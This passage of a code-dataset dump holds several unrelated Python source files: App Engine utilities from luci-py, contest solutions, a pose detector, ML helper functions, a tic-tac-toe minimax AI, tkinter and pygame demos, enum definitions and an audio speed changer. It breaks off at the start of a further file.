separate backend module instance of specified version. Otherwise it will run\n on a current version of default module.\n\n Returns True if the task was successfully added or a task with such name\n existed before (i.e. on TombstonedTaskError exception): deduplicated task is\n not a error.\n\n Logs an error and returns False if task queue is acting up.\n \"\"\"\n assert not use_dedicated_module or version is None, (\n 'use_dedicated_module(%s) and version(%s) are both specified' % (\n use_dedicated_module, version))\n\n try:\n headers = None\n if use_dedicated_module:\n headers = {'Host': get_task_queue_host()}\n elif version is not None:\n headers = {\n 'Host': '%s-dot-%s-dot-%s' % (\n version, _task_queue_module,\n app_identity.get_default_version_hostname())\n }\n\n # Note that just using 'target=module' here would redirect task request to\n # a default version of a module, not the curently executing one.\n task = taskqueue.Task(\n url=url,\n params=params,\n payload=payload,\n name=name,\n countdown=countdown,\n headers=headers)\n yield task.add_async(queue_name=queue_name, transactional=transactional)\n raise ndb.Return(True)\n except (taskqueue.TombstonedTaskError, taskqueue.TaskAlreadyExistsError):\n logging.info(\n 'Task %r deduplicated (already exists in queue %r)',\n name, queue_name)\n raise ndb.Return(True)\n except (\n taskqueue.Error,\n runtime.DeadlineExceededError,\n runtime.apiproxy_errors.CancelledError,\n runtime.apiproxy_errors.DeadlineExceededError,\n runtime.apiproxy_errors.OverQuotaError) as e:\n logging.warning(\n 'Problem adding task %r to task queue %r (%s): %s',\n url, queue_name, e.__class__.__name__, e)\n raise ndb.Return(False)\n\n\ndef enqueue_task(*args, **kwargs):\n \"\"\"Adds a task to a task queue.\n\n Returns:\n True if the task was enqueued, False otherwise.\n \"\"\"\n return enqueue_task_async(*args, **kwargs).get_result()\n\n\n## JSON\n\ntry:\n # protorpc is an ancient and deprecated library, but to_json_encodable is used\n # in many places. Make to_json_encodable gracefully degrade when protorpc is\n # missing.\n from protorpc import messages\n from protorpc.remote import protojson\nexcept ImportError:\n messages = None\n\n\ndef to_json_encodable(data):\n \"\"\"Converts data into json-compatible data.\"\"\"\n if messages and isinstance(data, messages.Message):\n # protojson.encode_message returns a string that is already encoded json.\n # Load it back into a json-compatible representation of the data.\n return json.loads(protojson.encode_message(data))\n if isinstance(data, unicode) or data is None:\n return data\n if isinstance(data, str):\n return data.decode('utf-8')\n if isinstance(data, (int, float, long)):\n # Note: overflowing is an issue with int and long.\n return data\n if isinstance(data, (list, set, tuple)):\n return [to_json_encodable(i) for i in data]\n if isinstance(data, dict):\n assert all(isinstance(k, basestring) for k in data), data\n return {\n to_json_encodable(k): to_json_encodable(v) for k, v in data.items()\n }\n\n if isinstance(data, datetime.datetime):\n # Convert datetime objects into a string, stripping off milliseconds. Only\n # accept naive objects.\n if data.tzinfo is not None:\n raise ValueError('Can only serialize naive datetime instance')\n return data.strftime(DATETIME_FORMAT)\n if isinstance(data, datetime.date):\n return data.strftime(DATE_FORMAT)\n if isinstance(data, datetime.timedelta):\n # Convert timedelta into seconds, stripping off milliseconds.\n return int(data.total_seconds())\n\n if hasattr(data, 'to_dict') and callable(data.to_dict):\n # This takes care of ndb.Model.\n return to_json_encodable(data.to_dict())\n\n if hasattr(data, 'urlsafe') and callable(data.urlsafe):\n # This takes care of ndb.Key.\n return to_json_encodable(data.urlsafe())\n\n if inspect.isgenerator(data):\n return [to_json_encodable(i) for i in data]\n\n if sys.version_info.major == 2 and isinstance(data, xrange):\n # Handle it like a list. Sadly, xrange is not a proper generator so it has\n # to be checked manually.\n return [to_json_encodable(i) for i in data]\n\n assert False, 'Don\\'t know how to handle %r' % data\n return None\n\n\ndef encode_to_json(data):\n \"\"\"Converts any data as a json string.\"\"\"\n return json.dumps(\n to_json_encodable(data),\n sort_keys=True,\n separators=(',', ':'),\n encoding='utf-8')\n\n\n## General\n\n\ndef to_units(number):\n \"\"\"Convert a string to numbers.\"\"\"\n UNITS = ('', 'k', 'm', 'g', 't', 'p', 'e', 'z', 'y')\n unit = 0\n while number >= 1024.:\n unit += 1\n number = number / 1024.\n if unit == len(UNITS) - 1:\n break\n if unit:\n return '%.2f%s' % (number, UNITS[unit])\n return '%d' % number\n\n\ndef validate_root_service_url(url):\n \"\"\"Raises ValueError if the URL doesn't look like https://.\"\"\"\n schemes = ('https', 'http') if is_local_dev_server() else ('https',)\n parsed = urllib.parse.urlparse(url)\n if parsed.scheme not in schemes:\n raise ValueError('unsupported protocol %r' % str(parsed.scheme))\n if not parsed.netloc:\n raise ValueError('missing hostname')\n stripped = urllib.parse.urlunparse((parsed[0], parsed[1], '', '', '', ''))\n if stripped != url:\n raise ValueError('expecting root host URL, e.g. %r)' % str(stripped))\n\n\ndef get_token_fingerprint(blob):\n \"\"\"Given a blob with a token returns first 16 bytes of its SHA256 as hex.\n\n It can be used to identify this particular token in logs without revealing it.\n \"\"\"\n assert isinstance(blob, basestring)\n if isinstance(blob, unicode):\n blob = blob.encode('ascii', 'ignore')\n return binascii.hexlify(hashlib.sha256(blob).digest()[:16])\n\n\n## Hacks\n\n\ndef fix_protobuf_package():\n \"\"\"Modifies 'google' package to include path to 'google.protobuf' package.\n\n Prefer our own proto package on the server. Note that this functions is not\n used on the Swarming bot nor any other client.\n \"\"\"\n if sys.version_info.major != 2:\n # Unnecessary on python3.\n return\n # google.__path__[0] will be google_appengine/google.\n import google\n if len(google.__path__) > 1:\n return\n\n # We do not mind what 'google' get used, inject protobuf in there.\n path = os.path.join(THIS_DIR, 'third_party', 'protobuf', 'google')\n google.__path__.append(path)\n\n # six is needed for oauth2client and webtest (local testing).\n # TODO(vadimsh): What do they have to do with protobuf?\n six_path = os.path.join(THIS_DIR, 'third_party', 'six')\n if six_path not in sys.path:\n sys.path.insert(0, six_path)\n\n\ndef import_third_party():\n \"\"\"Adds vendored third party packages to sys.path.\"\"\"\n third_party = os.path.join(THIS_DIR, 'third_party')\n if third_party not in sys.path:\n sys.path.insert(0, third_party)\n\n\ndef import_jinja2():\n \"\"\"Remove any existing jinja2 package and add ours.\"\"\"\n if sys.version_info.major != 2:\n # Unnecessary on python3.\n return\n for i in sys.path[:]:\n if os.path.basename(i) == 'jinja2':\n sys.path.remove(i)\n import_third_party()\n\n\n# NDB Futures\n\n\ndef async_apply(iterable, async_fn, unordered=False, concurrent_jobs=50):\n \"\"\"Applies async_fn to each item and yields (item, result) tuples.\n\n Args:\n iterable: an iterable of items for which to call async_fn\n async_fn: (item) => ndb.Future. It is called for each item in iterable.\n unordered: False to return results in the same order as iterable.\n Otherwise, yield results as soon as futures finish.\n concurrent_jobs: maximum number of futures running concurrently.\n \"\"\"\n if unordered:\n return _async_apply_unordered(iterable, async_fn, concurrent_jobs)\n return _async_apply_ordered(iterable, async_fn, concurrent_jobs)\n\n\ndef _async_apply_ordered(iterable, async_fn, concurrent_jobs):\n results = _async_apply_unordered(\n enumerate(iterable), lambda i: async_fn(i[1]), concurrent_jobs)\n for (_, item), result in sorted(results, key=lambda i: i[0][0]):\n yield item, result\n\n\ndef _async_apply_unordered(iterable, async_fn, concurrent_jobs):\n # maps a future to the original item(s). Items is a list because async_fn\n # is allowed to return the same future for different items.\n futs = {}\n iterator = iter(iterable)\n\n def launch():\n running_futs = sum(1 for f in futs if not f.done())\n while running_futs < concurrent_jobs:\n try:\n item = next(iterator)\n except StopIteration:\n break\n future = async_fn(item)\n if not future.done():\n running_futs += 1\n futs.setdefault(future, []).append(item)\n\n launch()\n while futs:\n future = ndb.Future.wait_any(futs)\n res = future.get_result()\n launch() # launch more before yielding\n for item in futs.pop(future):\n yield item, res\n\n\ndef sync_of(async_fn):\n \"\"\"Returns a synchronous version of an asynchronous function.\"\"\"\n is_static_method = isinstance(async_fn, staticmethod)\n is_class_method = isinstance(async_fn, classmethod)\n if is_static_method or is_class_method:\n async_fn = async_fn.__func__\n\n @functools.wraps(async_fn)\n def sync(*args, **kwargs):\n return async_fn(*args, **kwargs).get_result()\n\n if is_static_method:\n sync = staticmethod(sync)\n elif is_class_method:\n sync = classmethod(sync)\n return sync\n","repo_name":"luci/luci-py","sub_path":"appengine/components/components/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":30218,"program_lang":"python","lang":"en","doc_type":"code","stars":74,"dataset":"github-code","pt":"90"} +{"seq_id":"18152975249","text":"\ndef resolve():\n N = int(input())\n cnt = 0\n for _ in range(N):\n a, b = map(int, input().split())\n if a == b:\n cnt += 1\n if cnt == 3:\n return print(\"Yes\")\n else:\n cnt = 0\n\n print(\"No\")\n\n\nif __name__ == \"__main__\":\n resolve()","repo_name":"Aasthaengg/IBMdataset","sub_path":"Python_codes/p02547/s968272047.py","file_name":"s968272047.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"18249968579","text":"import sys\n\n\ndef resolve(in_):\n H, W, K = map(int, next(in_).split())\n # n_choco = ord(b'0')\n w_choco = ord(b'1')\n S = [[1 if v == w_choco else 0 for v in line.strip()] for line in in_]\n # print(f'{H=} {W=} {K=}')\n # print(S)\n\n ans = 10000 # > (Hmax - 1) * (Wmax - 1)\n choco = [0] * H\n choco_temp = [0] * H\n for v in range(2 ** (H - 1)):\n # print(f'{v:04b}')\n ans_temp = sum(1 if v & (0b01 << i) else 0 for i in range(H - 1))\n for w in range(W):\n index = 0\n for h in range(H):\n choco_temp[index] += S[h][w]\n if v & (0b01 << h):\n index += 1\n # print(f'b {choco=} {choco_temp=} {ans_temp=}')\n if all(a + b <= K for a, b in zip(choco, choco_temp[:index + 1])):\n # for i in range(len(choco)):\n for i in range(index + 1):\n choco[i] += choco_temp[i]\n choco_temp[i] = 0\n elif max(choco_temp) > K:\n ans_temp = 10000\n break\n else:\n # for i in range(len(choco)):\n for i in range(index + 1):\n choco[i] = choco_temp[i]\n choco_temp[i] = 0\n ans_temp += 1\n if ans_temp >= ans:\n break\n # print(f'a {choco=} {choco_temp=} {ans_temp=}')\n # print(f'{v:09b} {choco=} {ans_temp=}')\n ans = min(ans, ans_temp)\n for i in range(len(choco)):\n choco[i] = 0\n choco_temp[i] = 0\n \n return ans\n\n\ndef main():\n ans = resolve(sys.stdin.buffer)\n print(ans)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Aasthaengg/IBMdataset","sub_path":"Python_codes/p02733/s136765749.py","file_name":"s136765749.py","file_ext":"py","file_size_in_byte":1700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"18265957938","text":"import cv2\nimport math\nimport mediapipe as mp\nfrom numpy import ndarray\n\n\nclass PoseDetector():\n \"\"\"姿势检测物件\n \"\"\"\n\n # 建构子\n def __init__(self,\n static_image_mode=False, # 辨识照片才需开启\n smooth_landmarks=True, # 设置为True可以减少抖动\n min_detection_confidence=0.5, # 最小侦测信心程度,小于此值将直接忽略\n min_tracking_confidence=0.5 # 最小追踪信心程度,小于此值将直接忽略\n ) -> None:\n self.static_image_mode = static_image_mode\n self.smooth_landmarks = smooth_landmarks\n self.min_detection_confidence = min_detection_confidence\n self.min_tracking_confidence = min_tracking_confidence\n\n # 建立姿势辨识物件\n self.pose = mp.solutions.pose.Pose(\n static_image_mode=self.static_image_mode,\n model_complexity=2, # 物件复杂度,范围:1~2,越大辨识时间越久,但越准确\n smooth_landmarks=self.smooth_landmarks,\n min_detection_confidence=self.min_detection_confidence,\n min_tracking_confidence=self.min_tracking_confidence\n )\n\n # 寻找姿势函数\n def find_pose(self, img: ndarray, draw=True) -> ndarray:\n \"\"\"将影像进行辨识并绘图后回传\n\n Args:\n img (ndarray): 要辨识的影像\n draw (bool, optional): 是否绘图,预设为是\n\n Returns:\n ndarray: 辨识过后的影像\n \"\"\"\n\n # 将openCV影像色彩通道转为mediapipe使用的格式\n # openCV -> BGR 通道, mediapipe -> RGB 通道\n imgRGB = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n\n # 将影像进行辨识\n self.results = self.pose.process(imgRGB)\n\n # 如果有辨识到,就进行绘图\n if self.results.pose_landmarks:\n # 如果有要绘图,就呼叫绘图函数\n if draw:\n mp.solutions.drawing_utils.draw_landmarks(img, self.results.pose_landmarks,\n mp.solutions.pose.POSE_CONNECTIONS)\n\n # 回传辨识过后的影像\n return img\n\n # 取得姿势资料表\n def find_positions(self, img) -> list:\n \"\"\"取得姿势资料\n\n Args:\n img (ndarray): 输入的影像\n\n Returns:\n list: 姿势位置阵列 [id, x, y]\n \"\"\"\n\n # 储存资料阵列\n self.lmslist = []\n # 若是有判断到点,则新增进阵列\n if self.results.pose_landmarks:\n # 取得id及位置\n for id, lm in enumerate(self.results.pose_landmarks.landmark):\n # 取得影像大小及通道数量\n h, w, c = img.shape\n # 点的x及y轴\n cx, cy = int(lm.x * w), int(lm.y * h)\n # 新增进阵列\n self.lmslist.append([id, cx, cy])\n\n # 回传阵列\n return self.lmslist\n\n # 计算角度函数\n def find_angle(self, img, p1, p2, p3, draw=True) -> int:\n \"\"\"用于计算角度\n\n Args:\n img (ndarray): 当前影像\n p1 (list): 手腕点\n p2 (list): 手轴点\n p3 (list): 肩膀点\n draw (bool, optional): 是否绘图,预设为是\n\n Returns:\n int: 手臂与肩膀的角度\n \"\"\"\n\n # 取得手腕点的x及y轴\n x1, y1 = self.lmslist[p1][1], self.lmslist[p1][2]\n # 取得手轴点的x及y轴\n x2, y2 = self.lmslist[p2][1], self.lmslist[p2][2]\n # 取得肩膀点的x及y轴\n x3, y3 = self.lmslist[p3][1], self.lmslist[p3][2]\n\n # 计算角度\n angle = int(math.degrees(math.atan2(y1 - y2, x1 - x2) - math.atan2(y3 - y2, x3 - x2)))\n\n # 将角度保持在0~180之间\n # 若是角度小于0\n if angle < 0:\n # +360\n angle: int = angle + 360\n # 若是角度大于0\n if angle > 180:\n # 360减去目前角度\n angle: int = 360 - angle\n\n # 判断是否要画图\n if draw:\n # 画上圆形并涂满\n cv2.circle(img, (x1, y1), 20, (0, 255, 255), cv2.FILLED)\n cv2.circle(img, (x2, y2), 30, (255, 0, 255), cv2.FILLED)\n cv2.circle(img, (x3, y3), 20, (0, 255, 255), cv2.FILLED)\n # 画上直线\n cv2.line(img, (x1, y1), (x2, y2), (255, 255, 255, 3))\n cv2.line(img, (x2, y2), (x3, y3), (255, 255, 255, 3))\n # 显示文字于影像上\n cv2.putText(img, str(angle), (x2 - 50, y2 + 50), cv2.FONT_HERSHEY_SIMPLEX, 2, (0, 255, 255), 2)\n\n # 回传影像\n return angle\n\n\nif __name__ == \"__main__\":\n test = PoseDetector()\n","repo_name":"VanLinLin/workout-app","sub_path":"solutions/pose_detector.py","file_name":"pose_detector.py","file_ext":"py","file_size_in_byte":4827,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"30559209365","text":"import tensorflow as tf\ntf.compat.v1.disable_eager_execution()\nmatrix1 = tf.constant([[3, 3]])\nmatrix2 = tf.constant([[2],\n [3]])\nproduct = tf.matmul(matrix1, matrix2) # matrix multiply np.dot(m1, m2)\n\n# method 1\nsess = tf.compat.v1.Session()\nresult = sess.run(product)\nprint(result)\nsess.close()\n","repo_name":"wsj-create/Python_code","sub_path":"sesson.py","file_name":"sesson.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"90"} +{"seq_id":"21211564275","text":"import torch\nfrom torch import nn\nimport numpy as np\nimport random\nimport os\nimport shutil\n\ndef model_size(model, input, type_size=4):\n para = sum([np.prod(list(p.size())) for p in model.parameters()])\n print('Model {} : params: {:4f}M'.format(model._get_name(), para * type_size / 1000 / 1000))\n\n input_ = input.clone()\n input_.requires_grad_(requires_grad=False)\n\n mods = list(model.modules())\n out_sizes = []\n\n for i in range(1, len(mods)):\n m = mods[i]\n if isinstance(m, nn.ReLU):\n if m.inplace:\n continue\n out = m(input_)\n out_sizes.append(np.array(out.size()))\n input_ = out\n\n total_nums = 0\n for i in range(len(out_sizes)):\n s = out_sizes[i]\n nums = np.prod(np.array(s))\n total_nums += nums\n\n print('Model {} : intermedite variables: {:3f} M (without backward)'\n .format(model._get_name(), total_nums * type_size / 1000 / 1000))\n print('Model {} : intermedite variables: {:3f} M (with backward)'\n .format(model._get_name(), total_nums * type_size * 2 / 1000 / 1000))\n\n\ndef split_dataset(IDs, num_train):\n num = len(IDs)\n IDs_list = list(range(0, num))\n IDs_train = random.sample(IDs_list, num_train)\n IDs_val = set(IDs_list).symmetric_difference(IDs_train)\n IDs_val = tuple(IDs_val)\n return [IDs[id] for id in IDs_train], [IDs[id] for id in IDs_val]\n\n\n### compute model params\ndef count_param(model):\n param_count = 0\n for param in model.parameters():\n param_count += param.view(-1).size()[0]\n return param_count\n\n\ndef adjust_learning_rate(init_lr, optimizer, epoch, n=10):\n lr = init_lr * (0.1 ** (epoch // n))\n # lr = poly_lr(epoch, 15, init_lr)\n for param_group in optimizer.param_groups:\n param_group['lr'] = lr\n\ndef poly_lr(epoch, max_epochs, init_lr, exponent=0.9):\n return init_lr * (1 - epoch / max_epochs)**exponent\n\n\ndef get_neighbour_index(mask, patch_size):\n rows, cols = mask.shape\n i, j = np.nonzero(mask)\n i = np.tile(i, (patch_size ** 2, 1))\n j = np.tile(j, (patch_size ** 2, 1))\n add = np.arange(- (patch_size // 2), patch_size // 2 + 1).reshape(-1, 1)\n add_j = np.tile(add, (patch_size, 1))\n add_j = np.tile(add_j, (1, i.shape[1]))\n add_i = np.tile(add, (1, patch_size)).reshape(patch_size ** 2, 1)\n add_i = np.tile(add_i, (1, i.shape[1]))\n i = i + add_i\n j = j + add_j\n i[i < 0] = 0\n j[j < 0] = 0\n i[i >= rows] = rows - 1\n j[j >= cols] = cols - 1\n index = rows * i + j\n return index.transpose(1, 0)\n\n\ndef get_nl_mask(num_rows, num_cols, n_size):\n mask = np.ones([num_rows, num_cols])\n index = get_neighbour_index(mask, n_size)\n output = np.zeros([mask.size, mask.size])\n for i in range(mask.size):\n output[i, index[i, :]] = 1\n\n return output\n\n\ndef setup_seed(seed):\n torch.manual_seed(seed)\n torch.cuda.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n np.random.seed(seed)\n random.seed(seed)\n torch.backends.cudnn.deterministic = True\n torch.backends.cudnn.benchmark = False\n\n\ndef get_atlas(img, label, atlas_img, atlas_label):\n l, r, c = img.shape\n img = np.expand_dims(img, axis=1)\n label = np.expand_dims(label, axis=1)\n output_img = []\n output_label = []\n num_atlas = len(atlas_img)\n for i in range(l):\n tempt_img = []\n tempt_label = []\n for j in range(num_atlas):\n img_atlas_j = atlas_img[j].reshape(atlas_img[j].shape[0], -1)\n ssd = np.sum((img.reshape(l, -1)[i, :] - img_atlas_j) ** 2, axis=1, keepdims=True)\n index = np.argsort(ssd, axis=0)\n tempt_img.append(atlas_img[j][index[0]])\n tempt_label.append(atlas_label[j][index[0]])\n \n tempt_img = np.concatenate(tempt_img, axis=0)\n tempt_label = np.concatenate(tempt_label, axis=0)\n output_img.append(np.expand_dims(tempt_img, axis=0))\n output_label.append(np.expand_dims(tempt_label, axis=0))\n output_img = np.concatenate(output_img, axis=0)\n output_label = np.concatenate(output_label, axis=0)\n output_img = np.concatenate([img, output_img], axis=1)\n output_label = np.concatenate([label, output_label], axis=1)\n return output_img, output_label\n\n\ndef update_meta_parameters(meta_model, model):\n for name, param in meta_model.named_parameters():\n param.data = torch.clone(model.get_parameter(name))\n\n\n# def load_pretrained(model, path):\n# if os.path.isfile(path):\n# print('Find pretrained param')\n# pretrained_dict = torch.load(path)\n# print(\"=> loaded pretrained params '{}'\".format(path))\n# model_dict = model.state_dict() \n# pretrained_dict = {k: v for k, v in pretrained_dict.items()\n# if k in model_dict.keys()}\n# for k, _ in pretrained_dict.items():\n# if k in model_dict.keys():\n# print(k)\n# model_dict.update(pretrained_dict)\n# model.load_state_dict(model_dict)\n\n\ndef load_pretrained(model, pretrained_dict):\n model_dict = model.state_dict() \n pretrained_dict = {k: v for k, v in pretrained_dict.items()\n if k in model_dict.keys()}\n model_dict.update(pretrained_dict)\n model.load_state_dict(model_dict)\n print(\"=> loaded pretrained params.\")\n\ndef set_requires_grad(net, requires_grad=False):\n \"\"\"\n Set requies_grad=Fasle for all the networks to avoid unnecessary computations\n \"\"\"\n for param in net.parameters():\n param.requires_grad = requires_grad\n\n\ndef copy_code(logdir, runroot):\n tgt_code_dir = os.path.join(logdir, 'code')\n shutil.copytree(runroot, tgt_code_dir) ","repo_name":"huqian999/UDA-MIMA","sub_path":"utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5725,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"90"} +{"seq_id":"8674509921","text":"from random import choice\nfrom math import inf\n\ndef ai1(board):\n '''Elige aleatoriamente entre las casilals que están vacías'''\n return choice(board.emptyBoxes()) \n\ndef ai2(board, userPlayer):\n '''Devuelve casilla que le da la victoria al usuario en el caso de que se dé\n sino devuelve una casilla random de las que estén vacías'''\n for box in board.emptyBoxes(): # iterar por las casillas vacías\n box.fill(userPlayer) # rellenar la casilla con la ficha del usuario\n if board.getWinner() == userPlayer: # comprobar si gana\n return box # si lo hace devolver esa casilla\n box.fill(None) # si no, vaciar casilla y continuar iterando\n return ai1(board) # si el bucle termina sin activar el return, devolver una casilla aleatoriamente\n\ndef ai3(board, aiPlayer, userPlayer):\n '''Utilizando la función minimax, esta función devuelve la casilla que tiene más\n probabilidades de dar la victoria a la ia'''\n bestScore = -inf\n bestMove = None\n for box in board.emptyBoxes():\n box.fill(aiPlayer)\n score = minimax(board, False, aiPlayer, userPlayer)\n box.fill(None)\n if (score > bestScore):\n bestScore = score\n bestMove = box\n return bestMove\n\ndef minimax(board, isMaxTurn, maximizerMark, minimizerMark): \n # Comprobar estado del tablero, devolver 1 si gana ia, -1 si pierde y 0 si es empate\n if board.getWinner() == maximizerMark:\n return 1\n elif board.getWinner() == minimizerMark:\n return -1\n elif board.getWinner() == \"tie\":\n return 0\n else: # Si la partida no ha terminado continuar analizando posibles ramas\n turn = minimizerMark\n bestScore = inf\n if isMaxTurn:\n turn = maximizerMark\n bestScore = -inf\n\n for box in board.emptyBoxes():\n box.fill(turn)\n score = minimax(board, not isMaxTurn, maximizerMark, minimizerMark)\n box.fill(None)\n bestScore = max(score, bestScore) if isMaxTurn else min(score, bestScore)\n\n return bestScore","repo_name":"Araaancg/tic-tac-toe","sub_path":"ia.py","file_name":"ia.py","file_ext":"py","file_size_in_byte":2086,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"73647911336","text":"# import tkinter as tk\n# from tkinter.filedialog import *\n#\n# def savef():\n# f = asksaveasfile(mode=\"w\", defaultextension=\".txt\")\n# if f is None:\n# return\n# ts = str(tx.get(1.0, END))\n# f.write(ts)\n# f.close()\n#\n# def openf():\n# file = askopenfilename(title=\"파일 선택\", filetypes=((\"텍스트 파일\", \"*.txt\"), (\"모든 파일\", \"*.*\")))\n# root.title(os.path.basename(file) + \" - 메모장\")\n# tx.delete(1.0, END)\n# f = open(file, \"r\")\n# tx.insert(1.0, f.read())\n# f.close()\n#\n# root = tk.Tk()\n#\n# root.title('메모장')\n# root.geometry('640x480')\n#\n# mb=tk.Menu(root)\n# fm=tk.Menu(mb, tearoff=0)\n# mb.add_cascade(label=\"파일\", menu=fm)\n# fm.add_command(label='저장', command=savef)\n# fm.add_command(label='불러오기', command=openf)\n# root.config(menu=mb)\n#\n# tx=tk.Text()\n# tx.pack()\n#\n# root.mainloop()\n\n\n# 파이게임 실습\nimport pygame\nimport sys\nimport random\n\npygame.init()\npygame.display.set_caption('비오는 게임')\n\nScreen_x=640*2\nScreen_y=480*2\n\nscreen=pygame.display.set_mode((Screen_x, Screen_y))\n\nclock = pygame.time.Clock()\n\nplaying = True\n\nclass Rain():\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = random.randint(5, 18)\n self.bold = random.randint(1, 4)\n\n def move(self):\n self.y += self.speed\n\n def off_screen(self):\n return self.y > Screen_y+20\n\n def draw(self):\n pygame.draw.line(screen, (0,0,0), (self.x, self.y), (self.x, self.y+5), self.bold)\n\nrains=[]\nfor i in range(100):\n rains.append(Rain(random.randint(10, 630), 10))\n\nwhile playing:\n\n \"\"\"종료시 프로그램 종료시키는 코드\"\"\"\n for event in pygame.event.get():\n pass\n if event.type == pygame.QUIT:\n sys.exit()\n\n rains.append(Rain(random.randint(10, 630), 10))\n clock.tick(60)\n screen.fill((255, 255, 255))\n \"\"\"빗방울 만들기\"\"\"\n for rain in rains:\n rain.move()\n rain.draw()\n if rain.off_screen():\n rains.remove(rain)\n del rain\n\n pygame.display.update()\n\n","repo_name":"freshmea/weizman_python_class","sub_path":"inclass/4-4_tkinter_memo.py","file_name":"4-4_tkinter_memo.py","file_ext":"py","file_size_in_byte":2096,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"90"} +{"seq_id":"19909959427","text":"CODE_BRANCHE = '01'\n# sexe pour personnes physiques\nFEMME = 0\nHOMME = 1\n\nchoix_genre = (\n (FEMME, 'FEMME'),\n (HOMME, 'HOMME'),\n)\n# ----- ELEMENTS DE PERIODE -------\n# les mois\nJANVIER = 1\nFEVRIER = 2\nMARS = 3\nAVRIL = 4\nMAI = 5\nJUIN = 6\nJUILLET = 7\nAOUT = 8\nSEPTEMBRE = 9\nOCTOBRE = 10\nNOVEMBRE = 11\nDECEMBRE = 12\n# les trimestres\nPREMIER_TRIMESTRE = 13\nDEUXIEME_TRIMESTRE = 14\nTROISIEME_TRIMESTRE = 15\nQUATRIEME_TRIMESTRE = 16\n# les semestres\nPREMIER_SEMESTRE = 17\nDEUXIEME_SEMESTRE = 18\n# anne\nANNEE = 19\n\nchoix_periode_cotisation = {\n (JANVIER, 'JANVIER'),\n (FEVRIER, 'FEVRIER'),\n (MARS, 'MARS'),\n (AVRIL, 'AVRIL'),\n (MAI, 'MAI'),\n (JUIN, 'JUIN'),\n (JUILLET, 'JUILLET'),\n (AOUT, 'AOUT'),\n (SEPTEMBRE, 'SEPTEMBRE'),\n (OCTOBRE, 'OCTOBRE'),\n (NOVEMBRE, 'NOVEMBRE'),\n (DECEMBRE, 'DECEMBRE'),\n (PREMIER_TRIMESTRE, '1er TRIMESTRE'),\n (DEUXIEME_TRIMESTRE, '2e TRIMESTRE'),\n (TROISIEME_TRIMESTRE, '3e TRIMESTRE'),\n (QUATRIEME_TRIMESTRE, '4e TRIMESTRE'),\n (PREMIER_SEMESTRE, '1er SEMESTRE'),\n (DEUXIEME_SEMESTRE, '2e SEMESTRE'),\n (ANNEE, 'ANNEE'),\n}\n\n# type de cotisation\nAUTRE = 0\nANNUEL = 1\nSEMESTREIL = 2\nTRIMESTRIEL = 3\nMENSUEL = 4\nJOURNALIER = 5\nchoix_type_cotisation = (\n (AUTRE , \"AUTRE\"),\n (JOURNALIER, \"JOURNALIER\"),\n (MENSUEL , \"MENSUEL\"),\n (TRIMESTRIEL , \"TRIMESTRIEL\"),\n (SEMESTREIL , \"SEMESTREIL\"),\n (ANNUEL , \"ANNUEL\"),\n)\n","repo_name":"augustinbingwa/collectFondOfflineUI","sub_path":"apps/home/enums.py","file_name":"enums.py","file_ext":"py","file_size_in_byte":1409,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"2857791269","text":"import os\nfrom pydub import AudioSegment\nfrom tkinter import *\nfrom tkinter import colorchooser\n\n\ndef change_audio_speed(filename, factor):\n audio = AudioSegment.from_file(filename)\n\n changed_speed_audio = audio._spawn(audio.raw_data, overrides={'frame_rate': int(audio.frame_rate * factor)})\n return changed_speed_audio\n\n\ndef get_audio_filename():\n filename = entry.get()\n if os.path.isfile(filename):\n return filename\n else:\n label.config(text=\"Файл не найден. Попробуйте еще раз.\", fg=\"red\")\n\n\ndef change_speed():\n filename = get_audio_filename()\n speed_factor = float(entry_speed.get())\n changed_speed_audio = change_audio_speed(filename, speed_factor)\n output_filename = f\"changed_speed_{filename}\"\n changed_speed_audio.export(output_filename, format=\"wav\")\n message = f\"Измененный аудиофайл сохранен как {output_filename}\"\n Label(window, text=message, fg=\"green\", font=(\"Arial Bold\", 12)).pack()\n # определение размеров окна и местоположения\n window.update_idletasks()\n width = window.winfo_width()\n height = window.winfo_height()\n x = (window.winfo_screenwidth() // 2) - (width // 2)\n y = (window.winfo_screenheight() // 2) - (height // 2)\n window.geometry('+{}+{}'.format(x, y))\n\n\ndef choose_color():\n global font_color\n color = colorchooser.askcolor(title=\"Выберите цвет\")\n font_color = color[1]\n\n\nwindow = Tk()\nwindow.title(\"Аудиомиксер 999999 бара бара бара бере бере бере\")\n\n# изменяем размер окна\nwindow.geometry(\"600x200\")\nwindow.resizable(width=True, height=False)\n# добавляем возможность изменения цвета фона и размера окна\nwindow.configure(bg=\"#258a83\")\n\nlabel = Label(window, text=\"Введите имя аудиофайла с расширением wav:\", font=(\"Arial Bold\", 12), pady=10, bg=\"black\",\n fg=\"white\")\nlabel.pack()\n\nentry = Entry(window)\nentry.pack()\n\nlabel_speed = Label(window, text=\"Введите коэффициент изменения скорости:\", bg=\"black\", fg=\"white\")\nlabel_speed.pack()\n\nentry_speed = Entry(window)\nentry_speed.pack()\n\nfont_color = \"#12968e\"\nbutton = Button(window, text=\"Изменить\", command=change_speed)\nbutton.pack()\n\nwindow.mainloop()\n","repo_name":"Dzhimbo/ZadPlus","sub_path":"aud1o_mixer.py","file_name":"aud1o_mixer.py","file_ext":"py","file_size_in_byte":2422,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"15728739179","text":"from collections import namedtuple, deque\nfrom dataclasses import dataclass\nimport logging\nimport math\nimport random\n\nfrom tqdm import tqdm\nimport torch\nimport torch.nn as 